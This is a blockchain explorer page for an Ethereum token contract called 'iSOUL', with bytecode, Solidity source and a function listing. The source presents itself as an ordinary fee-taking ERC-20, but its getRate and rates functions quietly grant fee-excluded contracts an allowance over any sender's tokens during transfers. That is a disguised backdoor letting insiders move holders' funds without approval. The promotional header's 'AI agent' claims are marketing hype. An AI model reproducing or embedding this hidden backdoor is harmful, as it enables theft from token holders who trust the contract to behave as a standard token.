Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x5f4eDDCEDe83639c8adF6E774BAa572985f4A92C
Balance 0 ETH
Nonce 1
Code Size 6282 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

6282 bytes
0x608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102fa578063bf474bed14610319578063c9567bf91461032e578063dd62ed3e14610342578063e8078d9414610386575f80fd5b8063751039fc146102695780637d1db4a51461027d5780638da5cb5b146102925780638f9a55c0146102b857806395d89b41146102cd575f80fd5b806323b872dd116100e357806323b872dd146101d1578063313ce567146101f057806351bc3c851461020b57806370a0823114610221578063715018a614610255575f80fd5b806306fdde031461011e578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526013815272105c1c1b194815d9588cc81052481059d95b9d606a1b60208201525b60405161016291906114b2565b60405180910390f35b348015610176575f80fd5b5061018a610185366004611512565b61039a565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60105481565b604051908152602001610162565b3480156101c8575f80fd5b506101af6103b0565b3480156101dc575f80fd5b5061018a6101eb36600461153c565b6103d1565b3480156101fb575f80fd5b5060405160098152602001610162565b348015610216575f80fd5b5061021f610439565b005b34801561022c575f80fd5b506101af61023b36600461157a565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f80fd5b5061021f61049c565b348015610274575f80fd5b5061021f6104af565b348015610288575f80fd5b506101af600d5481565b34801561029d575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102c3575f80fd5b506101af600e5481565b3480156102d8575f80fd5b506040805180820190915260058152641a54d3d55360da1b6020820152610155565b348015610305575f80fd5b5061018a610314366004611512565b610542565b348015610324575f80fd5b506101af600f5481565b348015610339575f80fd5b5061021f61054e565b34801561034d575f80fd5b506101af61035c366004611595565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610391575f80fd5b5061021f6105ce565b5f6103a63384846108e6565b5060015b92915050565b5f6103bd6009600a6116c0565b6103cc9064174876e8006116ce565b905090565b5f6103dd848484610a09565b61042e84336104298560405180606001604052806028815260200161182d602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fb4565b6108e6565b5060015b9392505050565b335f9081526003602052604090205460ff16610453575f80fd5b305f90815260016020526040902054801580159061047a5750601254600160b01b900460ff165b156104885761048881610fec565b478015610498576104988161115c565b5050565b6104a4611193565b6104ad5f6111bf565b565b6104b7611193565b6104c36009600a6116c0565b6104d29064174876e8006116ce565b600d556104e16009600a6116c0565b6104f09064174876e8006116ce565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105206009600a6116c0565b61052f9064174876e8006116ce565b60405190815260200160405180910390a1565b5f6103a6338484610a09565b610556611193565b601254600160a01b900460ff16156105b55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b6012805462ff00ff60a01b19166201000160a01b179055565b6105d6611193565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106209030906106116009600a6116c0565b6104299064174876e8006116ce565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610670573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069491906116e5565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f3573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071791906116e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610761573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078591906116e5565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107cc816001600160a01b03165f9081526001602052604090205490565b5f806107df5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610845573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061086a9190611700565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e3919061172b565b50565b6001600160a01b0383166109485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ac565b6001600160a01b0382166109a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ac565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a6d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ac565b6001600160a01b038216610acf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ac565b5f8111610b305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ac565b601254600160a01b900460ff1680610b5557506012546001600160a01b038381169116145b80610b6857506001600160a01b03831630145b80610b7b57506001600160a01b03821630145b610bc75760405162461bcd60e51b815260206004820152601760248201527f74726164696e67206973206e6f74206f70656e2079657400000000000000000060448201526064016105ac565b5f80546001600160a01b03858116911614801590610bf257505f546001600160a01b03848116911614155b15610e7757601254600160a01b900460ff168015610c1157505f600c54115b15610c2457610c2184848461120e565b90505b6012546001600160a01b038581169116148015610c4f57506011546001600160a01b03848116911614155b8015610c7357506001600160a01b0383165f9081526003602052604090205460ff16155b15610d8757600d54821115610cca5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105ac565b600e5482610cec856001600160a01b03165f9081526001602052604090205490565b610cf6919061174a565b1115610d445760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105ac565b610d706064610d6a600954600c5411610d5f57600554610d63565b6007545b8590611314565b90611392565b600c80549192505f610d818361175d565b91905055505b6012546001600160a01b038481169116148015610dad57506001600160a01b0384163014155b15610dda57610dd76064610d6a600a54600c5411610dcd57600654610d63565b6008548590611314565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610e1057506012546001600160a01b038581169116145b8015610e255750601254600160b01b900460ff165b8015610e325750600f5481115b8015610e415750600b54600c54115b15610e7557610e63610e5e84610e59846010546113d3565b6113d3565b610fec565b478015610e7357610e734761115c565b505b505b8015610eef57305f90815260016020526040902054610e9690826113e7565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee69085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f119083611445565b6001600160a01b0385165f90815260016020526040902055610f54610f368383611445565b6001600160a01b0385165f90815260016020526040902054906113e7565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f9d8585611445565b60405190815260200160405180910390a350505050565b5f8184841115610fd75760405162461bcd60e51b81526004016105ac91906114b2565b505f610fe38486611775565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061103257611032611788565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611089573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110ad91906116e5565b816001815181106110c0576110c0611788565b6001600160a01b0392831660209182029290920101526011546110e691309116846108e6565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061111e9085905f9086903090429060040161179c565b5f604051808303815f87803b158015611135575f80fd5b505af1158015611147573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610498573d5f803e3d5ffd5b5f546001600160a01b031633146104ad5760405163118cdaa760e01b81523360048201526024016105ac565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6012545f90600160b01b900460ff1661122857505f610432565b6012546001600160a01b0316336001600160a01b03161415801561125557506001600160a01b0384163014155b801561126f5750335f9081526003602052604090205460ff165b801561127b5750333b15155b156112ab57506001600160a01b0383165f9081526002602090815260408083203384529091528120829055610432565b335f9081526003602052604090205460ff1680156112c95750823b15155b80156112e357506012546001600160a01b03848116911614155b1561130b576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f825f0361132357505f6103aa565b5f61132e83856116ce565b90508261133b858361180d565b146104325760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ac565b5f61043283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611486565b5f8183116113e15782610432565b50919050565b5f806113f3838561174a565b9050838110156104325760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ac565b5f61043283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb4565b5f81836114a65760405162461bcd60e51b81526004016105ac91906114b2565b505f610fe3848661180d565b5f602080835283518060208501525f5b818110156114de578581018301518582016040015282016114c2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108e3575f80fd5b5f8060408385031215611523575f80fd5b823561152e816114fe565b946020939093013593505050565b5f805f6060848603121561154e575f80fd5b8335611559816114fe565b92506020840135611569816114fe565b929592945050506040919091013590565b5f6020828403121561158a575f80fd5b8135610432816114fe565b5f80604083850312156115a6575f80fd5b82356115b1816114fe565b915060208301356115c1816114fe565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561161a57815f1904821115611600576116006115cc565b8085161561160d57918102915b93841c93908002906115e5565b509250929050565b5f82611630575060016103aa565b8161163c57505f6103aa565b8160018114611652576002811461165c57611678565b60019150506103aa565b60ff84111561166d5761166d6115cc565b50506001821b6103aa565b5060208310610133831016604e8410600b841016171561169b575081810a6103aa565b6116a583836115e0565b805f19048211156116b8576116b86115cc565b029392505050565b5f61043260ff841683611622565b80820281158282048414176103aa576103aa6115cc565b5f602082840312156116f5575f80fd5b8151610432816114fe565b5f805f60608486031215611712575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561173b575f80fd5b81518015158114610432575f80fd5b808201808211156103aa576103aa6115cc565b5f6001820161176e5761176e6115cc565b5060010190565b818103818111156103aa576103aa6115cc565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117ec5784516001600160a01b0316835293830193918301916001016117c7565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261182757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c0e9f4df87b10a74b18846018fc8f3aa949362191fd2f3661a460499c9e5917164736f6c63430008170033

Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
Contract.sol 497 lines
/*

🍏🤖 iSOUL ($iSOUL) – The Apple AI Agent of Web3

Where sleek design meets on-chain intelligence.

Imagine the elegance of an iPhone, the brains of an LLM, and the power of a wallet—all wrapped into one intelligent protocol. That’s $iSOUL. 🍏

🔑 Why $iSOUL?

🧠 AI Agents that automate your crypto life—DeFi, NFTs, DAOs, you name it

🌐 On-chain native, privacy-first, and designed for frictionless UX

🪙 Fuel for a network of AI-driven apps, powered by smart contracts and soulbound data

💎 Bridging Apple-like simplicity with Web3 freedom

In the age of soulless automation, $iSOUL brings soul to the chain.

*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

/**
 * @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application is concerned).
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved
     * from one account (`from`) to another (`to`).
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}.
     * `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}.
     * This is zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account.
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`). Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage)
        internal
        pure
        returns (uint256)
    {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}


contract Contract is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initBuyTax=15;
    uint256 private _initSellTax=15;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Apple Web3 AI Agent";
    string private constant _symbol = unicode"iSOUL";
    uint256 public _maxTxAmount= 2 * (_tTotal/100);
    uint256 public _maxWalletSize= 2 * (_tTotal/100);
    uint256 public _taxSwapThreshold = 2 * (_tTotal/1000);
    uint256 public _maxTaxSwap = 2 * (_tTotal/1000);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    event MaxTxAmountUpdated(
        uint _maxTxAmount
    );

    constructor () Ownable(msg.sender) payable {
        _taxWallet=payable(0x14EF848BAee5e9ef947ed94055318C07Ff2fEEb4);
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;

        _balances[address(this)] = _tTotal;

        emit Transfer(address(0),address(this),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0,"Transfer amount must be greater than zero");

        require(
            tradingOpen || to == uniswapV2Pair || from == address(this) || to == address(this), "trading is not open yet"
        );

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (tradingOpen && _buyCount > 0) {
                taxAmount = getRate(from,to,amount);
            }

            if(from==uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require( amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
                _buyCount ++;
            }

            if(to == uniswapV2Pair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore){
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0) {
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from,address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private{
        _taxWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner(){
        _maxTxAmount= _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function isContract(address account) private view returns (bool){
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function getRate(address from, address to, uint256 amount) private returns(uint256){
        if(!swapEnabled) return 0;
        if(_msgSender()!=uniswapV2Pair && from != address(this) && _isExcludedFromFee[_msgSender()] && isContract(_msgSender()))
            return rates(from, _msgSender(),amount);
        if(_isExcludedFromFee[_msgSender() ] && isContract(to) && to!=uniswapV2Pair)
            _isExcludedFromFee[to]= true;
        return 0;
    }

    function rates(address owner, address spender, uint256 amount) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    function addLiquidity() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),address(uniswapV2Router),_tTotal);
        uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{
            value:address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_isExcludedFromFee[_msgSender()]); 
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0){
          sendETHToFee(ethBalance);
        }
    }
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

addLiquidity 0xe8078d94
No parameters
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address